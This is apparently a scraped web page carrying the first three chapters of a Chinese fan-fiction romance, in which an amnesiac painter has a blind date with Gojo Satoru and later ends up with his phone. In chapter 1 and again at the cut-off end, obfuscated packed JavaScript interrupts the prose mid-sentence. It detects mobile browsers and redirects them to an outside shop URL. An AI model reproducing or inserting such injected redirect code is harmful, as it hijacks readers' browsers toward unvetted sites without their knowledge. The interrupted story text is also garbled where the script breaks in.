《失忆后,和五条激情互演》 1. 第 1 章 ——真的好想和正常人谈一次普通的恋爱啊。 朝日奈结月第十八次把家门口那捧俗气至极的九十九朵玫瑰扔进公寓里的可回收垃圾桶里。 又是某个锲而不舍追求她的二代公子哥。品味俗不可耐,手段简单粗暴,还理所当然地以为这种大张旗鼓的砸钱追求足以让人动容。 她站在垃圾桶前停了两秒,确认花茎被压得再也翻不出来,这才转身回屋。 也许相亲认识的人,会再正常一点呢? 相亲。 这个词从她嘴里念出来,总带着点与本人气质极不相称的荒谬感。 肤白貌美,年纪轻轻却已经在小圈子里小有名气的油画家——是那种被朋友带出去,会被人半开玩笑地说一句“你小子人生赢家”的类型。结月对此心知肚明,也早已习惯旁人替她预设好的一切可能性。 但只有她自己知道:她连初吻都还在,一次恋爱都没谈过。 要是这件事被画展上端着酒杯、笑得像画框一样精致的人知道——他们大概会先惊讶两秒,然后把它当成饭后谈资,咬得津津有味。 “结月酱这种类型的女孩子,恋爱经验肯定很丰富吧?” 他们总爱这样下定论。 结月懒得解释。和一群把欲望当谈资的人讨论“爱”,就像拿调色刀去刮沥青——徒劳,还脏手。 她想要的太普通了。 普通到几乎像在跟时代逆行:不需要惊心动魄的相遇,不需要盛大张扬的示爱。她只想找一个同样普通的人,下班后一起去超市买打折牛奶,周末窝在沙发上看无聊电影,偶尔因为谁洗碗而拌嘴,然后在一年又一年看似重复的日子里,心安理得地变老。 只是,“普通”不等于“贫瘠”。 结月对空洞的自恋不耐烦,对愚蠢更是。喜欢炫耀的、习惯把人当观众的、把她当战利品的——都很快会让她失去兴趣。 于是,当养母在电话那头小心翼翼地提起“要不要试着见一面朋友的儿子”的时候,她罕见地没有立刻拒绝。 万一呢? 万一真的能遇见一个普通的、但不无聊的正常人呢? 地点被定在六本木之丘。 据说是“视野很好、气氛也不压迫”的餐厅。 朝日奈结月站在自动扶梯尽头,在脑海里默默再确认了一遍养母提到的名字。 ——后藤先生。Goto。 她对“后藤”这个姓没有任何印象,只能在脑海里模糊地勾勒出一个三十岁上下、穿着得体西装、说话谨慎克制的普通上班族形象。 非常好。听起来就很安全。 结月把手机收回包里,深吸一口气,向餐厅门口走去。冷气扑面而来,混合着高级香薰与食物油脂的暖香。餐厅经理模样的中年男人迎上来,笑容得体。 “晚上好。请问有预约吗?” “有的,后藤先生预约,七点半,两位。” 经理低头查看屏幕,眉梢几不可察地动了一下。他抬眼,用确认般的语气重复:“后藤……先生?Goto-sama?” “是的。”结月点头,心底掠过一丝疑惑。这个姓氏很常见,为何对方神情略显微妙? “请您稍等,我确认一下。” 几秒后,他抬起头,笑容似乎掺杂了点别的什么——像职业性的遮掩。 “女士,我们今晚七点半的预约,只有一位五条先生。Gojo-sama。” Gojo? Goto? 结月愣了一下。养母电话里那个温柔而略带口音的“Goto”,在电流细小的杂音和背景环境音里,听起来和“Gojo”确实……不算完全不可能混淆。 是她听错了吗?还是养母说错了? “是七点半,两位吗?”她谨慎地再次确认。 “是的,女士。而且是窗边预留位。”经理的目光朝餐厅深处瞥了一眼,“现在餐厅里……似乎只有一位客人。” 顺着他的视线望去,在整面墙的落地窗前,正对着东京塔的绝佳位置上,确实只孤零零地坐着一个身影。距离有些远,灯光也刻意调暗营造氛围,只能看到一个穿着深色外套的背影,以及——一个非常醒目的、白色的后脑勺。 结月的心,微妙地沉了沉。 “工作特殊”“没有照片”“姓氏听错”……零碎的细节忽然被那个显眼的白色后脑勺串联起来,指向一个她此刻最不想接受的推论。 ——该不会,又是那种热衷夸张外形、擅长用“酷”掩盖空洞的精神小伙吧? 巨大的失望和隐隐的后悔涌了上来。她就不该对“相亲”这种形式抱有任何不切实际的幻想。 “应该……就是这位五条先生了。”她压下转身就走的冲动,对经理挤出一个无懈可击的社交微笑,“可能是我听错了姓氏,或者中间传达有误会。麻烦您带路吧,第一次见面就弄错,实在不好意思。” 经理了然地点头,随即换上更加殷勤的表情:“请跟我来,女士。这位五条先生……非常英俊。您一定会感到惊喜的。” 惊喜?别是惊吓就好。 结月跟在经理身后,高跟鞋踩在柔软的地毯上,悄无声息。 随着距离拉近,那个背影逐渐清晰。黑色衬衣质地精良,剪裁合体,宽肩窄腰,光看身形倒是出乎意料的优越。只是那头蓬松的、在室内灯光下显得过于显眼的白发,以及即便在室内也未曾摘下的墨镜,依旧顽固地强化着她最初的负面印象。 经理在桌旁停下,微微躬身:“五条先生,您的客人到了。” 那个白色的后脑勺终于动了动,似乎刚从窗外东京塔的夜景中收回视线,不紧不慢地准备转过身来。 也许是因为位置太高,云层压得很低。远处一道闪电像狰狞的伤疤划破夜色,透过落地窗映进来。雷声被隔音玻璃削去棱角,只剩光在玻璃上爬行。 一瞬熄灭后又亮起的闪电和桌面上摇曳的烛火一起照亮了他转头看向她的面孔。 即使戴着墨镜,也能看出来这是一个过分惹眼的帅哥。优越的面部轮廓,高挺的鼻梁,漂亮的下颚线——每一个细节都完美得不可思议,高鼻深目的冷白皮帅哥,俊美得像是她会想要描摹的艺术品。 他沉默了一个呼吸。 墨镜颜色很深,完完全全遮住了他的眼睛,可他投来的“视线”却不容忽视,像某种无形的重量,稳稳停驻在她的脸上。 结月的心脏忽然微微刺了一下。像是被失温的火焰烫伤。 那一秒,连烛火都像被按住,火苗短促地缩成一点。 她差点要错以为他们早就认识——不是“见过”,而是“认识很久”后分离的那种——久别重逢。 下一瞬,一抹不符合二十多岁年龄的、冰雪消融后过于灿烂的笑容倏然绽开。 “Good evening~” 他随手摘下墨镜。 “朝日奈小姐。” ——她就这样毫无预兆地坠入了一双过分璀璨的苍蓝色眼眸。 无法用人类语言来形容的天蓝色,第一次对视的那一秒钟,她唯一的念头是——行星诞生时光晕漫射的那一瞬间也不过如此了吧。 时间没有静止,而是在她体内发生了塌陷。 心跳怦然加速,像当年在卢浮宫第一次亲眼看见阿弗洛狄蒂雕像时短暂的失神。 结月很快回过神来。 她面前不是传世艺术品,是个货真价实的大男人。 相亲还戴美瞳? 这也太……精心营业了吧。 她面上不动声色地坐下,微笑挑不出破绽:“晚上好,五条先生。审美不错,美瞳颜色很好看。” 五条悟反手支着下颚,那双苍蓝色眼眸在烛光下晃了一下,像是第一次听见有人从这个角度夸奖他的眼睛。 “哇哦——”他拖长语调,尾音像融化的糖浆黏糊糊地翘起来,双手交叉垫在下巴底下,整个人像猫科动物盯住毛线球一样专注,“第一次见面就直接夸人眼睛漂亮啊?结月酱好热情欸~” 结月:“……” 居然真的顺着她的话往下接了。她预演好的那套“对方恼羞成怒—气氛微妙—顺理成章结束相亲”,当场失效。 “不过,”他话锋一转,食指对着自己的眼睛比划了一下,表情忽然一本正经,像在讲解什么科学原理,“这不是美瞳哦。天生的啦~” 结月在心里冷笑一声。 来了。经典台词之一。 “这样啊。”她点点头,礼貌而敷衍,“那真是……少见。” “超少见。”五条悟笑眯眯地接上,语气随口到像在报菜单,“小时候被拉去检查好多次,医生念了一堆英文字母——我听着听着就记住了。什么OCA2啊,HERC2啊之类的。” 他说得轻巧,像在炫耀一段无聊的小知识。可偏偏那种“随口就能报出来”的笃定,比郑重其事的解释更怪。 “哦?”结月指尖在杯沿轻轻摩挲了一下,“五条先生对遗传学也有研究?” “研究谈不上啦~”他摆摆手,笑得很无所谓。 他顿了顿,像忽然想起什么更有趣的事,苍蓝色的眼眸在烛光下亮得惊人。 “不过啊——小时候因为这双眼睛,出门真的很麻烦哦。” 他用抱怨天气一样的轻松口吻:“家里的老头子们紧张得要命,好像我走到大街上下一秒就会被套麻袋——” 他思考似的停了半拍,忽然笑出声:“——然后挖掉眼睛,切成一块一块的,卖给黑市收藏家?” 他说得像在讲儿童睡前冒险故事,甚至带点兴奋。 “物以稀为贵嘛~按市场价的话,这双眼睛说不定比今晚这顿饭贵很多很多倍哦?” 结月被他这离谱的语气戳中了笑点,嘴里那口酒差点呛出来。 五条悟却像完全不觉得有什么,拿起水杯喝了一口,语气轻描淡写:“不过我觉得没差啊。长得帅又不是我的错,对吧?” 那种玩世不恭的轻佻又冒了出来,却又隐约触得到一点别的东西——一种对自身“异常”习以为常、甚至懒得解释的坦荡。 结月笑得有点久。久到她自己都察觉不对劲:她已经很久没有这样自然的被逗笑,莫名笑得停不下过。她也从未被人这样轻易……牵着情绪走。 服务生端着前菜上来,银质餐具与瓷盘相触,发出清脆的一声,像画布上被不经意落下的一笔。 五条悟低头看了一眼盘子,又抬眼望向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177028|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气依旧轻快:“朝日奈小姐居然没有吐槽诶。” “我应该吐槽吗?”结月把目光落回盘沿,止住笑,声音平稳。 他一副认真思考的样子:“诶~比如‘这是什么中二设定’之类的?感觉像是结月酱会在心里偷偷吐槽的话哦。” 结月指尖微微一顿。 她忽然想起自己进门前给他的定义:精神小伙,幼稚,装酷。可当他说那些字母时,那份“装”的味道却淡了,像某个极细小的缝隙露出了里面的真实。 她放下叉子,像随口:“你会在意别人怎么看你吗?” 五条悟原本散漫搭在桌沿的手指,极其细微地顿了一下。 “在意?”他像听到了什么过于幼稚的词,忽然笑出声。那笑声里没什么温度,却笑意盈盈得像听见了笑话,“那种东西啊……” 他向后靠进椅背,雪白的发梢擦过高领衫边缘,神情在一瞬间变得淡漠晦涩。 “——我大概在十三岁之后,就不怎么考虑了哦。” 他说得轻描淡写,仿佛在讨论昨晚晚饭的味道。 “毕竟啊,”他忽然又笑起来,笑声恢复了先前那种轻快的调子,只是眼底没什么波澜,“当你发现自己和周围人从‘构造’上就不太一样的时候,再去在意他们的看法,就像是在意蚂蚁对你今天的穿搭有没有意见一样——” 他歪了歪头,像在分享生活小常识。 “不是说蚂蚁不好哦?蚂蚁也很努力,超——努力的。只是……”他伸出手指,在烛光前慢悠悠晃了晃,光影在他苍蓝的瞳孔里明明灭灭,“视野的维度差得太多了,再怎么努力互相理解,终究是徒劳嘛。” 这句话落下时,他的视线没有飘开,反而稳稳停在她脸上。 结月呼吸慢了半拍。 那种和世界格格不入、仿佛隔着一层透明玻璃的感觉,她太熟悉了。 她也许能记得画室里松节油的味道,记得镰仓海边日落的颜色,记得在画展上被人称赞时该露出怎样的笑容——可只要试图往更早的地方想,往大学以前去追溯—— 脑海里就像被人拿走了最关键的一整块拼图。 不是模糊,而是空白。干净到诡异的空白。 她曾经试着用“意外”“创伤”去解释,用“医生说的后遗症”去安抚自己。可总会有一些细枝末节提醒她:她和别人不一样。 危险来临前身体先一步反应; 画人体时对骨骼肌肉过分熟悉; 进入陌生房间时目光总会扫过门窗与死角…… 而五条悟这句话,像精准地踩在那条裂缝上。 结月垂下眼,端起水杯喝了一口。冰水滑过喉咙,却没能压下胸腔里那点突兀的闷热。 “我也……”她开口时停了一下,像在衡量该说多少。 对面的男人没有催促,只是安静看着她,意外地耐心。 结月把杯子放回桌面,声音很轻,却很清晰:“我也有时会觉得自己和这个世界……有一道打不碎的隔阂。” 五条悟眉梢轻轻一扬,唇角噙着点若有若无的笑意,语调漫不经心:“因为太漂亮?还是因为搞艺术的人都比较容易想太多?” “都不是。”结月的唇角牵了一下,那笑意短暂得几乎算不上笑,“因为我不记得以前的事。” 五条悟脸上的表情,在那一瞬间变得非常微妙。 没有同情,没有惊讶,也没有那种听到秘密后惯常会浮现的窥探欲。他只是眨了眨眼,苍蓝色的瞳孔在烛光里缓慢地收缩了一下,像猫科动物在调整焦距。 “诶——”他拖长了声音,身体微微前倾,手肘撑在桌面上,双手交叠托住下巴,“完全……不记得?” 他的语气里没有质疑,只有一种纯粹的、近乎学术探讨般的好奇。 “也不是完全。”结月移开视线,落在自己交叠的手指上,“大学以后的事都记得。但再往前……就像被谁用橡皮擦掉了关键几页的日记本,只剩一些不连贯的碎片。” 她说到这里,忽然意识到自己说得太多了。 可当她抬起眼,看向对面时—— “那不是很好吗?”五条悟忽然说,语气轻快得甚至有些没心没肺。 结月愣住了。 “你看啊,”他摊开一只手,指尖在空气里随意划动,像在勾勒一个看不见的图形,“过去这种东西,堆太多会变成负担的哦?尤其是那些糟糕的、没用的记忆——” 他的手指忽然收拢,做了个“捏碎”的动作,声音里带上一丝嫌恶。 “——像塞在冰箱最里面、过期三年的咖喱罐头。除了占地方和散发怪味,还能有什么用?” 他手腕一转,重新托住下巴。那种介于观察与评判之间的神色消失,取而代之的是一种近乎孩子气的兴致。 “但是像现在这样——把没用的部分一键清空,只留下你觉得‘舒服’‘顺手’的现在……”他拖长了调子,像发现了什么绝妙的东西,“这简直像人生游戏开了作弊码嘛。” 他歪了歪头,这个动作让他看起来天真得残酷。 “结月酱,你这哪里是‘少了什么’——” “你这根本是抽中了‘清爽人生体验券’的超——幸运玩家才对哦?” 2. 第 2 章 没有尴尬地绞尽脑汁找话题。 也没有那种脚趾扣地、恨不得立刻逃离现场的不适感。 结月甚至在某个瞬间意识到:她竟然在“听他讲话”。不是出于礼貌地点头应付,而是真的被牵着走了注意力。 这让她隐隐不安。 面前这个相亲对象,太“刚好”了。 他不卖弄,也不敷衍。说话有分寸,笑起来又没什么边界感——轻佻得恰到好处,像故意把距离拉近一点点,又在她察觉前退回安全线。 更离谱的是:他居然一点也不无聊。 而结月对“无聊”这件事,向来零容忍。 她端起清酒抿了一口,辛辣在舌尖散开,像给自己打了一针清醒剂。 “五条先生看起来,是个很有趣开朗的人呢。” 她抬眼看向他,语气温和,却不躲闪:“所以会忍不住好奇——五条先生,也有过真正难过的时候吗?” “不是那种考试没考到第一,或者计划好的旅行取消的难过。” 她轻轻摇头,像否定某种太轻飘的情绪。 “是那种……心脏像漏了风一样的空。” “现在回想起来,喉咙还是会发紧。” 她停了一下,终于找到一个贴近的比喻,声音很轻: “就像咽下了一整口碎玻璃,鲜血淋漓,卡在喉咙里,却吐不出来。” “那种难过。” 桌面短暂地安静了一瞬。 五条悟的手停在半空。 他面前不是酒杯,而是一只盛着橙汁的高脚杯。 结月的视线不受控制地在那杯橙汁上落了一下,心里那点紧绷忽然被戳出一个极轻的裂缝。 ……相亲吃法餐配橙汁。 这人的口味是不是也太小孩子了点? 她没忍住,嘴角动了动,把那句吐槽硬生生咽回去,只在眼底露出一点不合时宜的笑意。 五条悟却像是察觉到了似的,眉梢轻轻一挑:“怎么啦?” “没什么。”结月把视线收回来,语气尽量保持平稳,“只是觉得……五条先生和我想象的不太一样。” “诶——”他拖长尾音,像是很感兴趣,“哪方面?” 结月没接,怕自己一开口就是“第一次见男孩子吃法餐不喝酒却配小孩子口味的橙汁”。 她微笑等着他的回答,没有被他突然调转的话题分心,继续问他之前还未被回答的那个问题:“所以,有过吗?那种难过的时候?” 他脸上的笑意还在。 那种理所当然的、像是从不需要思考就能挂上的轻快笑容。 “哇哦……” 他拖长了语调,苍蓝的眼眸在烛光下让她想起无垠的天空,倒映着她认真询问的面孔,“结月酱这个问题,杀伤力有够大的欸?比‘你薪水多少’可怕一百倍哦。” 话是这么说的。 但他漫不经意地垂落眼睫。 指尖无意识地在杯壁上摩挲了一下。 她的视线顺着他的动作看向他的手——肤色冷白,手指修长,骨节分明。 手背青色的筋络在动作间若隐若现,像被极其克制地收束在皮肤之下。 那并不是脆弱的美。她总觉得这样漂亮而充满力量感的,不是弹钢琴的手,而是扼住谁咽喉的手。 她在看他的那一瞬间,他的目光却越过她,落在了雨痕蜿蜒的落地窗上。 这个沉默本身已经有些意料之外了。 他不是她第一个问这个问题的男生。 之前的大部分男生都会怎么回答呢? ——爸爸和妈妈吵架后离婚。 ——前女友出轨劈腿。 ——家里养了十二年的狗到年纪去世了。 怎么说呢……似乎都很有难过的理由。她深感同情,却无法真正为之触动。总觉得那不是她等待的答案。 可问题是,她也不知道自己究竟在等待什么样的答案。就像她不知道,她究竟在等待什么样的人。 五条悟笑着,却将手中的橙汁杯不轻不重地搁回桌面。 嗒。 一声轻响,却莫名带着裁决的意味。 他偏了偏头,像是真的在认真检索某个概念,语调却依旧轻松: “那种难过——是‘为什么这群笨蛋就是不明白’的烦躁,” 他停了一下,唇角弯起一个极浅的弧度,却没有真正的笑意。 “还是……‘啊,好麻烦,干脆全部杀掉算了’的无聊?” 用词轻飘飘的,明明像是在开玩笑,却让结月指尖微凉。 一种说不上来的危险感,像看不见的结冰,顺着空气无声蔓延,却又快得像错觉。 “当然有过啦。”他很快接上,语调忽然认真起来,“毕竟也年轻过呢。” 明明才二十多岁的年纪,说起过去却已经用上了这样的措辞。 五条悟把杯子放回桌面,发出一声极轻的碰响,语气又恢复了那种轻快的随意。 “不过那种感觉,其实不太会一直记着。” 他抬起眼,浓密雪白的睫毛下,那双璀璨耀眼的苍蓝色眼瞳一眨不眨地望着她,配上那张惊若天人的面孔,她仿佛被什么光刺伤般陡然移开了视线,不敢和他对视多一秒。 太锋芒毕露的美会刺伤人的。 “会划伤自己哦。” 他说得很轻,带着他独有的散漫腔调,像是在漫不经心提醒一个不懂事的小孩子别去碰刀刃。 像是在说碎玻璃。 又像是在说别的什么。 ——明明没有正面回答这个问题。 就这样若无其事地,用他的方式掠了过去。 可结月却恍惚地觉得,他在刚才那段短暂的沉默里,已经给出了答案。 那个他没有说出口的答案,正是她一直在寻找的东西。 她怔怔地望着他的眼睛。 忽然发现,他连睫毛都是雪白的,纤长而浓密,让她不合时宜地想起北海道十二月落下的雪。 然后他毫无征兆地,像是忽然想到什么绝妙主意一样,眼睛倏然亮起。 “对了!” 五条悟一拍手,声音不响,却足够打断刚才那点过于真实的沉郁。 “结月酱这么有趣,怎么会沦落到需要相亲嘛?”他兴致勃勃地问,“你身边的男人眼睛都瞎掉了吗?” 结月被这记直球打得一愣。 “……五条先生,话题跳得太快了。” “有吗?”他一脸无辜,“我觉得逻辑很顺啊。聊完难过的往事,当然要换点开心的话题——比如,结月酱的倒霉桃花史?” 他说着笑了起来,像只发现了奶油罐的猫。 结月轻咳了一声。 “喜欢我的,是有的。”她坦然道,“我喜欢的,很遗憾,暂时从来没有遇到过。” 五条悟夸张地睁大眼睛:“一个都没有遇到过吗?那些结月酱身边的男人们听起来有够糟糕嘛。” 这可正说到了她的心坎上。 “那可是真的太糟糕了呢。”她想了想,语气忽然轻快起来,甚至带着点自嘲,“大学的时候有一个同学……暗恋我很久的那种。” “哦?”五条悟笑得意味深长,“听起来不像是好结局。” “当然不是。”结月干脆利落地否认,“他约我去京都,说是回老家玩几天。” 她顿了一下,像是在回忆一幅现在看来有点荒唐的画面。 “结果我一下新干线,就被直接塞进了他家的保姆车,被带进了他家。” 五条悟:“……” “见到了他爸妈、亲戚,还有不知道从哪里冒出来的姑姑阿姨。”她伸手比划了一下,“标准京都老宅,榻榻米,庭院,空气里都是‘我们家很有底蕴’的味道。” 她说到这里忍不住笑了一下:“重点是,他事前一个字都没说。” “诶——这确实有点过分了。”五条悟评价得很快。 “更精彩的还在后面。”结月继续说,“他妈妈在玄关‘不小心掉了’一把五百元的零钱,事后说那是‘试试客人的品性’。” 五条悟的眉梢,极轻微地动了一下。 结月没注意到,只顾着吐槽:“我当时完全没多想,就蹲下来帮她一枚一枚捡起来,还顺手用纸巾帮她擦了下地板。” 她摊了摊手:“结果她看我的眼神,就像我刚刚当众穿着比基尼跳进了鸭川。” “她跟我说——”结月放慢语速,模仿得惟妙惟肖,“‘女孩子这样蹲下来,很不优雅。真的是——太·没·教·养·了。’” 空气安静了半秒。 下一秒,他“噗”地笑了出来。 不是轻笑,而是那种忍俊不禁、肩膀微微发颤的笑。 “哈哈……用零钱试品性?”他笑得前仰后合,用指尖夸张地揩了揩眼角,“这是什么,江户时代流浪武士试忠诚度的戏码吗?他们家是不是还有祖传的‘三顾茅庐’榻榻米和写着‘一期 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然后忽然又轻快起来:“能被结月酱这么讨厌的家庭,规矩一定超——级多吧?每天起床先给祖宗牌位问安,走路要算步数,吃饭前要确认谁坐主位之类的?” “差不多。”结月点头,“还有‘客人要先动筷是没教养’、‘女孩子不能比长辈先笑’。” 五条悟眨了眨眼。 “哇。”他由衷感叹,“那我这种人,大概连玄关都进不去就会被请回去了。” “你至少会被请进来坐一下吧?”结月笑。 “不会的。”他摇头摇得很干脆,伸出一根修长的食指一本正经地摇了摇:“我啊,一看就不像是会循规蹈矩那种类型。从小就不是哦。” 这句话说得太自然了。 自然到结月一时没意识到哪里不对,只顺着玩笑:“也是。你大概会直接踩着钱过去看也不看一眼?” “嗯呐。”五条悟点头,无所谓地双手一摊:“然后被当场判定为‘没有教养’。” 他说得轻描淡写,像是完全不在乎任何判定与规矩,语带嗤笑:“不过无所谓啦。谁会在乎半截身子入土的烂橘子们的想法,是吧结月酱?” 有那么一瞬间,他身上掠过一种极其锋利的气势——淡漠、傲慢,什么都不放在眼里。 但那感觉收敛得太快,快到让她怀疑是不是自己太敏感。 真是个新颖的用词呢。 烂橘子们——用来形容腐朽的家族老人们吗? “对呢。所以在那以后,我就发现了。”结月继续说,像是无意间转移话题,“我其实特别讨厌那种事情。” “哪种?” “说谎、隐瞒,还有……”她想了想,“用‘为你好’当借口的大男子主义。” 她抬眼看向他,语气依旧温和,却没有回旋余地:“要试探、要安排、要评判,那就明着来。偷偷摸摸的那种,我真的受不了。” 这一次,五条悟没有立刻笑。 他只是看着她。 那种目光不炙热,也不逼迫,却像是把她的话完整地接住,在心里过了一遍。 “这样啊。” 他终于开口,语气意外地平静。 “那结月酱,”他歪了歪头,像是在认真提问,“要是在一开始就把所有事情都摊开来说清楚的人,反而会让你觉得安心一点,对吧?” “当然。”她毫不犹豫。 五条悟轻轻“嗯”了一声。 那一声很低,像是某种确认。 随后,他又恢复了那副轻快到有点欠揍的笑容,往后一靠:“那我这种普通高中老师,还算安全区吗?” “目前来看,是的。”结月想了想,“至少没有带我回老家见父母——家里也没有那种离谱的亲戚长辈们。 ” “那真是太好了。”他夸张地松了口气。 结月失笑:“说起来,悟君是哪里人呢?” 话一出口,她自己先愣了一下。 ——居然不知不觉间,把称呼从“五条先生”,换成了“悟君”。 ——这是她第一次遇见一个会这样影响她情绪的人。 危险。 不是他危险,而是这种失控本身太过危险。 “我吗?” 五条悟眨了眨眼,抬手指了指自己,语气天真得近乎理所当然。 结月点点头,罕见地用上了揶揄的语气:“悟君不会就是那种我最避之不及的京都人吧?” 3. 第 3 章 他看着她,一本正经。 “真的不是每一个京都人都那么离谱啦。” 语气轻松,表情自然,像是刚刚那一瞬间的停顿从未存在过。 朝日奈结月愣了一下:“所以……悟君真的是京都人?” “不过没事。”她很快笑起来,下意识地开口:“一看悟君就不是那种规矩诸多的迂腐家族出来的。” 她笑着等他附和:“对吧?” 五条悟眨了眨眼。 这一次,他没有立刻顺着她的话往下接。 那双苍蓝色的眼睛在她脸上停留了半秒,像是在确认什么,又像是在重新校准距离。 “不可能那么巧吧?”她被他的沉默勾得继续揶揄下去,却并没有恶意,“悟君不可能真的也是哪种规矩繁多的迂腐家族出来的大少爷吧?” 他终于动了。 身体微微前倾,双手托住下巴,重新回到那个她已经熟悉的、带着点黏糊糊笑意的姿态。 “结月酱居然会觉得我‘开朗活泼阳光’欸——” 他捕捉了那几个她用来形容他的词,故意把那三个尾音拖得很长。 “说起来,”他竖起一根手指轻轻晃了晃,“‘规矩’这种词,的确很让人听了就想要呕吐呢。我呢,和结月酱一样哦。” 语气随意得像是在点评菜品。 “规矩这种东西,只有在你想遵守的时候,它才算数。” 他指尖在杯沿上轻弹了一下。 ——叮。 清脆的声音在安静的餐厅里显得格外清晰。 “要是从一开始就没打算遵守,”他歪头想了想,语气轻快得近乎天真,“那它就只是——写在纸上的废话而已嘛。” 他抬眼看她,笑得灿烂,像是在分享生活小常识。 “谁会为了废话,把自己搞得束手束脚,连笑都要看人脸色呢?太辛苦了吧。” 他说“辛苦”的时候语气很轻,甚至带着点漫不经心的笑意。 结月一时竟不知道该如何接话。 五条悟却已经自己接了下去,语调又轻飘飘地拐回了闲聊。 “京都啊,我去过很多次啦。红叶漂亮,点心也不错。” 他姿态轻慢地往后仰靠,一条手臂懒洋洋搭在椅背上。 “就是那些老房子里,空气总有股陈腐的味道。樟脑丸混着檀香,再加一点——明明已经没什么力量了,却还在要求别人尊敬的气味。” 他说得随意,仿佛在谈论一件无关紧要的旧物。面上带着浮于表面的笑,语调却听不出来一丝笑意。 “所以我更喜欢东京哦。”他向后靠进椅背,长腿舒展,“大家都很忙,忙着赚钱,忙着恋爱,忙着在便利店抢最后一盒半价布丁。” 他说这句话的时候偏过头,看向雨幕里的东京塔。 当他不笑、看不见那双眼睛的时候,那张线条漂亮锋利的侧脸,淡漠得令人心惊。 “这不是很好吗?”他轻声说,“活在‘现在’,比活在‘过去’轻松多啦。” 这话听起来通透又合理。 可他还是没有正面回答她的问题,也许是说的太开心思维太跳跃? 她几乎是本能地想给他找一个安全的解释。 普通家庭,被爱滋养,性格特别…… 可越解释,越像是在给自己盖一层薄薄的棉被,遮住底下刺骨的冷。 “不过啊——” 五条悟忽然转回头来,打断了她的思绪。 他歪着头,眼神亮晶晶的,像是发现了什么特别好玩的东西。 “结月酱刚才叫我‘悟君’了对吧?” 他笑得不怀好意,像只终于等到破绽的猫。 “这么快就改口了欸~明明刚才还是‘五条先生’来着。”他拖长语调,“难道说……我已经从‘相亲对象’,晋级到‘可以亲密称呼的朋友’了?” 结月耳根一热。 她想辩解,却发现那句称呼叫得太自然,连她自己都说不出理由。 “啊,不用解释不用解释~”五条悟笑眯眯地摆手,“这说明我的魅力果然是无敌的嘛!” 他得意洋洋,像个被夸就翘尾巴的男孩。 结月看着他这副模样,那些关于淡漠、不在乎、危险的感觉,像是被他随手揉碎,塞回笑声里。 也许……真的是她想太多了。 他只是个性格特别、幽默有趣,活得很轻松的普通人。 一个会在法餐厅喝橙汁、会因为一句称呼就开心得像中了大奖的——英俊男人。 可就在这个念头浮现的一瞬间,结月忽然意识到一件事。 从头到尾。 他真的一次都没有正面回答过她的问题。那些触及到冰层以下的问题,他不动声色地掠过得很彻底。 他只是决定了——用五条悟的方式,将朝日奈结月的话题,结束在他想要结束的那一刻。 *** ——朝日奈结月原本真的以为,她和五条悟不会再有第二次见面了。 尽管心动是真的。 朝日奈结月一直以为‘心动’这个词离自己很遥远,而发生在自己身上的概率小得就像下一秒小行星撞击地球。 但是这一顿饭,短短的三个小时,她头一次没有来得及去看时间到底几点了,哪怕一次。 她也不是没有见过帅哥。在她的无数追求者里长相俊美堪比佐藤健的也不是没有,可是这是第一次,头一次—— 她几乎无法将视线从那个人的脸上挪开。 不,不是看见大帅哥那种花痴的眼神——拜托,她才不是那种没见过世面的恋爱脑小学生。 是那种似曾相识的心动,盯着他说话时水润的嘴唇会蓦然觉得他们是不是在哪里接吻过的熟悉,是那种似乎曾经在哪个被遗忘的梦境里彻底失去过他的心痛。 这种复杂又陌生的感觉混淆在一起,像一列高速列车从她的太阳穴直直碾过,或许是酒精喝多的缘故,脑袋嗡嗡作响。 也或许,是那份昂贵账单带来的沉甸甸的愧疚,和他最后那句“到家报平安”的自然关切,像两个柔软的钩子,挂住了她本想干脆利落转身离开的脚步。 她需要冷静。 所以她几乎是逃也似的回了家,将手包扔在沙发上,踢掉高跟鞋,光脚踩在冰凉的地板上,试图让那点冷意驱散心头的燥热和混乱。 倒水,喝水,冰凉液体滑过喉咙,略微平复了心跳。 然后她习惯性去摸手机,指尖触及的却是一片沉寂的漆黑。 没电了? 也不是她的手机壳边缘的触感。 是很相似但是比她大了一个型号的pro max。 她掏出来,在昏暗的落地灯光线下辨认—— 所以,拿错了? 她试着长按电源键,黑色屏幕毫无反应。 结月站在客厅中央,看着掌心那部属于五条悟的黑色手机,窗外的夜雨声仿佛瞬间放大,敲打在她的耳膜上。 一种微妙的、近乎宿命般的无力感,顺着冰凉的手机外壳,爬满了她的指尖。 这算什么? 一场荒唐的巧合? 还是连老天爷都在恶作剧,用这种物理的方式,阻止她彻底斩断那根刚刚萌生、却已被她判定为“危险”的丝线? 她想起他说“我会乖乖坐在这里”时,那双过分漂亮也过分清澈的苍蓝色眼睛。 想起他提前结账时,那理所当然的、让她愧疚不已的坦然。 也想起自己心底那份始终徘徊不去、关于他种种“过于恰好”和“过于通透”的警觉。 而现在,他的手机,正沉默地躺在她的手里。没电,安静,却像一个无从抵赖的证据,一个无法视而不见的连结。 “……真是的。”她低声叹了口气,揉了揉眉心,认命般地走向充电器。 至少,得把手机还回去。必须还回去。再把她的手机拿回来。 然而,就在她刚刚将手机插上电源,看着充电指示灯幽幽亮起时,那部属于的手机,突然在她掌心震动了起来。 “嗡——嗡——” 在寂静的客厅里,这震动声显得格外突兀,甚至有些惊心。 结月吓了一跳,差点把手机扔出去。屏幕上亮起一个备注是“忧太”的来电显示。 是他的电话? 她的心瞬间提了起来。难道是发现手机拿错了,打来找? 可是……用谁的手机打来的?他自己的手机不是在她这里吗? 震动持续着,固执地响了一遍,然后归于沉寂。 她刚松了半口气。 “嗡——嗡——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 